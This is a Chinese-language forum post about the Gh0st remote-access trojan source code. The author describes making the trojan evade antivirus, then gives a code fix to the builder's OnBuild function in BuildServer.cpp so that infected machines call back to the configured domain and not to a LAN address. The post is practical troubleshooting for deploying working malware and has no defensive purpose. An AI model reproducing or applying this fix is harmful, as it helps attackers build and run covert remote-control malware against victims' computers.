ghost源码重启不上线BUG修改方法

前些天下了论坛ghost源码,改了几天才做好免杀,用本地IP地址可以正常上线功能也OK.HAPPY的丢到服务器上,免杀上线,当哥的本本重启后发现JJ没了.叼,搞毛啊.今天看了下生成的DLL,才现在原来用域名上线加密字符是自己打开配置M的内网IP地址,纠结啊

没办法了,看源码吧.看了才知道,不知道WINDS牛,搞什么JJ,上线信息只做了加密了第一次获取到第一次的IP地址放到IDC_ENCODE内.修改后的上线地址没进行加密,放到IDC_ENCODE内处理.所以我的M上线地址,永远是个内网上线IP.永远也飞不出局域网.
怎么改呢?这是重点.
到源码BuildServer.cpp文件(注意:不同的源码文件名可能不同),或者直接查找void CBuildServer::OnBuild() 关键字.
这是创建服务端,在开始代码加上"OnChangeConfig(0);" 这个是加密上线字符串放到IDC_ENCODE内,然后再生成服务端.
修改代码如下:

void CBuildServer::OnBuild() 
{
// TODO: Add your control notification handler code here
UpdateData(true);
OnChangeConfig(0);  //靠,作者应该忘了加这一句,在这里加上这句,木JJ的...
if (m_Service_DisplayName.IsEmpty() || m_Service_Description.IsEmpty())
{ 
  if ( ((CButton *)GetDlgItem(IDC_RADIO_SERVICE))->GetCheck() == TRUE )
  {
  ::MessageBox(0,"请完整填写服务的显示名称及其描述...","提示", MB_ICONINFORMATION);
  return;
  }
}
点赞